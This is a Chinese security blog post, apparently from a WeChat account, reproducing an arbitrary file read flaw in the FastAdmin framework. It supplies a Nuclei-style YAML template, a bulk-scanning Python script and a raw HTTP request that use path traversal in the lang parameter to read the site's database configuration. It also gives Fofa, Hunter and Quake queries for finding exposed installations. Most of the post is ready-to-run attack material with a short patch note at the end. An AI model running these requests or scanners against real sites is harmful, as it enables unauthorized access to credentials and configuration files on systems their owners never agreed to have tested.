免责声明
❝
「此公众号所分享的网络安全知识、信息及工具仅供学习和研究使用,不得用于非法活动。如利用本公众号内容进行任何违法行为,产生的一切后果由读者自行承担,本公众号及文章作者不负任何责任!!!」「如有内容侵权,请联系我们删除处理。谢谢合作!!!」
❞
POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id:
Fastadmin-lang-fileread
info:
name:
Fastadmin框架lang任意文件读取
author:
god
severity:
high
description:
Fastadmin框架lang任意文件读取
metadata:
fofa-query:
body="/assets/js/require.js"
tags:
fastadmin,fileread
http:
-
raw:
-
|+
@timeout: 30s
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: {{Hostname}}
max-redirects:
3
matchers-condition:
and
matchers:
-
type:
word
part:
body
words:
-
jsonpReturn
condition:
and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import
requests
import
argparse
import
time
from
urllib3.exceptions
import
InsecureRequestWarning
RED =
'�33[91m'
RESET =
'�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def
check_vulnerability
(url)
:
try
:
# 构造完整的攻击URL
attack_url = url.rstrip(
'/'
) +
"/index/ajax/lang?lang=%2e%2e/%2e%2e/application/database"
response = requests.get(attack_url, verify=
False
, timeout=
10
)
if
response.status_code ==
200
and
'jsonpReturn'
in
response.text:
print(
f"
{RED}
URL [
{url}
] 可能存在Fastadmin框架lang任意文件读取漏洞
{RESET}
"
)
else
:
print(
f"URL [
{url}
] 不存在漏洞"
)
except
requests.exceptions.Timeout:
print(
f"URL [
{url}
] 请求超时,可能存在漏洞"
)
except
requests.RequestException
as
e:
print(
f"URL [
{url}
] 请求失败:
{e}
"
)
def
main
()
:
parser = argparse.ArgumentParser(description=
'检测目标地址是否存在Fastadmin框架lang任意文件读取漏洞'
)
parser.add_argument(
'-u'
,
'--url'
, help=
'指定目标地址'
)
parser.add_argument(
'-f'
,
'--file'
, help=
'指定包含目标地址的文本文件'
)
args = parser.parse_args()
if
args.url:
if
not
args.url.startswith(
"http://"
)
and
not
args.url.startswith(
"https://"
):
args.url =
"http://"
+ args.url
check_vulnerability(args.url)
elif
args.file:
with
open(args.file,
'r'
)
as
file:
urls = file.read().splitlines()
for
url
in
urls:
if
not
url.startswith(
"http://"
)
and
not
url.startswith(
"https://"
):
url =
"http://"
+ url
check_vulnerability(url)
if
__name__ ==
'__main__'
:
main()
漏洞介绍
❝
FastAdmin是一个免费开源的后台管理框架,基于ThinkPHP5.1框架开发而成,具有功能全面、界面美观、易于上手的特点。它提供了丰富的后台管理功能模块,包括权限管理、数据库管理、文件管理、图表统计等,可以帮助开发者快速搭建起一个稳定可靠的后台管理系统。其lang存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。
❞
资产测绘
-
「Fofa」
❝
body="/assets/js/require.js"
❞
-
「Hunter」
❝
web.body="/assets/js/require.js"
❞
-
「Quake」
❝
body="/assets/js/require.js"
❞
漏洞复现
「1、构造数据包」
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: ip
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】Fastadmin框架lang任意文件读取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论